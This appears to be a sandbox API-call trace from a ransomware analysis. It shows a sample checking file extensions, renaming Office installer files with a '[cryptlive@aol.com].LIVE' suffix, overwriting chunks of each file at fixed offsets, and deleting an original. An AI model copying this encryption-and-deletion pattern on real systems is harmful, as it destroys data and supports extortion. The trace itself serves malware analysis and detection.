lpString2=".msi") returned 1 [0047.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.270] lstrlenW (lpString=".zip") returned 4 [0047.270] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.270] lstrlenW (lpString=".rar") returned 4 [0047.270] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.270] lstrlenW (lpString=".bz2") returned 4 [0047.270] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.597] lstrlenW (lpString=".7z") returned 3 [0047.597] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.597] lstrlenW (lpString=".dbf") returned 4 [0047.597] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.597] lstrlenW (lpString=".1cd") returned 4 [0047.597] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.598] lstrlenW (lpString=".jpg") returned 4 [0047.598] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.598] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0047.598] lstrlenW (lpString="AccLR.cab") returned 9 [0047.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0047.598] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=28016276) returned 1 [0047.599] CloseHandle (hObject=0x208) returned 1 [0047.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0047.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.601] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0047.602] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0047.602] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.602] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.602] ReadFile (in: hFile=0x208, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.607] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.607] ReadFile (in: hFile=0x208, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.612] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.612] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.612] ReadFile (in: hFile=0x208, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.629] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.629] WriteFile (in: hFile=0x208, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0047.746] SetEndOfFile (hFile=0x208) returned 1 [0047.747] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f50078 [0047.747] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.747] WriteFile (in: hFile=0x208, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.800] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.800] WriteFile (in: hFile=0x208, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.803] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.803] WriteFile (in: hFile=0x208, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f50078 | out: hHeap=0x520000) returned 1 [0047.906] CloseHandle (hObject=0x208) returned 1 [0050.895] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0050.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.896] lstrlenW (lpString=".doc") returned 4 [0050.896] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.896] lstrlenW (lpString=".docx") returned 5 [0050.896] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0050.896] lstrlenW (lpString=".pdf") returned 4 [0050.896] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.896] lstrlenW (lpString=".xls") returned 4 [0050.896] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.896] lstrlenW (lpString=".xlsx") returned 5 [0050.896] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0050.896] lstrlenW (lpString=".ppt") returned 4 [0050.896] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.896] lstrlenW (lpString=".zip") returned 4 [0050.896] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.896] lstrlenW (lpString=".rar") returned 4 [0050.896] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.896] lstrlenW (lpString=".bz2") returned 4 [0050.896] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.896] lstrlenW (lpString=".7z") returned 3 [0050.896] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.896] lstrlenW (lpString=".dbf") returned 4 [0050.896] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.896] lstrlenW (lpString=".1cd") returned 4 [0050.896] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.896] lstrlenW (lpString=".jpg") returned 4 [0050.896] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.897] lstrlenW (lpString=".doc") returned 4 [0050.897] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString=".docx") returned 5 [0050.897] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0050.897] lstrlenW (lpString=".pdf") returned 4 [0050.897] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString=".xls") returned 4 [0050.897] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString=".xlsx") returned 5 [0050.897] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0050.897] lstrlenW (lpString=".ppt") returned 4 [0050.897] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.897] lstrlenW (lpString=".zip") returned 4 [0050.897] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString=".rar") returned 4 [0050.897] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString=".bz2") returned 4 [0050.897] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.897] lstrlenW (lpString=".7z") returned 3 [0050.897] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.897] lstrlenW (lpString=".dbf") returned 4 [0050.897] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.897] lstrlenW (lpString=".1cd") returned 4 [0050.897] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0050.897] lstrlenW (lpString=".jpg") returned 4 [0050.897] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.898] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0050.898] lstrlenW (lpString="setup.exe") returned 9 [0050.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.898] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1377656) returned 1 [0050.898] CloseHandle (hObject=0x208) returned 1 [0050.898] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0050.898] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.898] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.898] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.899] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.899] GetLastError () returned 0x0 [0050.899] ReadFile (in: hFile=0x208, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0051.171] WriteFile (in: hFile=0x214, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.189] ReadFile (in: hFile=0x208, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x50588, lpOverlapped=0x0) returned 1 [0051.201] WriteFile (in: hFile=0x214, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0051.209] ReadFile (in: hFile=0x208, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.209] WriteFile (in: hFile=0x214, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.209] SetEndOfFile (hFile=0x214) returned 1 [0051.210] CloseHandle (hObject=0x214) returned 1 [0051.210] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.210] SetEndOfFile (hFile=0x208) returned 1 [0051.213] CloseHandle (hObject=0x208) returned 1 [0051.213] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0051.213] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0051.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.214] lstrlenW (lpString=".doc") returned 4 [0051.214] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.214] lstrlenW (lpString=".docx") returned 5 [0051.214] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0051.214] lstrlenW (lpString=".pdf") returned 4 [0051.214] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.214] lstrlenW (lpString=".xls") returned 4 [0051.214] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.214] lstrlenW (lpString=".xlsx") returned 5 [0051.214] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0051.214] lstrlenW (lpString=".ppt") returned 4 [0051.214] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.214] lstrlenW (lpString=".zip") returned 4 [0051.214] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.214] lstrlenW (lpString=".rar") returned 4 [0051.214] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.214] lstrlenW (lpString=".bz2") returned 4 [0051.214] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.214] lstrlenW (lpString=".7z") returned 3 [0051.214] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.214] lstrlenW (lpString=".dbf") returned 4 [0051.214] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.214] lstrlenW (lpString=".1cd") returned 4 [0051.214] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.214] lstrlenW (lpString=".jpg") returned 4 [0051.215] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.215] lstrlenW (lpString=".doc") returned 4 [0051.215] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.215] lstrlenW (lpString=".docx") returned 5 [0051.215] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0051.215] lstrlenW (lpString=".pdf") returned 4 [0051.215] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.215] lstrlenW (lpString=".xls") returned 4 [0051.215] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.215] lstrlenW (lpString=".xlsx") returned 5 [0051.215] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0051.215] lstrlenW (lpString=".ppt") returned 4 [0051.215] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.215] lstrlenW (lpString=".zip") returned 4 [0051.215] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.215] lstrlenW (lpString=".rar") returned 4 [0051.215] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.215] lstrlenW (lpString=".bz2") returned 4 [0051.215] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.215] lstrlenW (lpString=".7z") returned 3 [0051.215] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.215] lstrlenW (lpString=".dbf") returned 4 [0051.215] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.215] lstrlenW (lpString=".1cd") returned 4 [0051.215] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.215] lstrlenW (lpString=".jpg") returned 4 [0051.215] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.216] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0051.216] lstrlenW (lpString="osetup.dll") returned 10 [0051.216] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.826] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=7378792) returned 1 [0051.826] CloseHandle (hObject=0x20c) returned 1 [0051.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0051.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.827] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0051.827] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.827] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.827] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.827] ReadFile (in: hFile=0x20c, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.830] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.830] ReadFile (in: hFile=0x20c, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.833] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.833] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.833] ReadFile (in: hFile=0x20c, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.857] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.857] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0052.077] SetEndOfFile (hFile=0x20c) returned 1 [0052.147] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fe7910 [0052.147] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.147] WriteFile (in: hFile=0x20c, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 